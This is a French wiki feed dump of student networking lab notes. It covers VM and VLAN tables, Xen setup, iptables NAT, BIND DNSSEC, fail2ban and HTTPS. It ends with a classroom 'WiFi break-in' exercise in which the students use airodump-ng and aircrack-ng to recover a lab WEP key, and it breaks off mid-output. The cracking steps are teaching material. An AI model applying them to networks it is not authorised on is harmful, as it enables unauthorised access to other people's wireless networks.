| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12196</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12196"/>
		<updated>2026-02-10T16:28:55Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
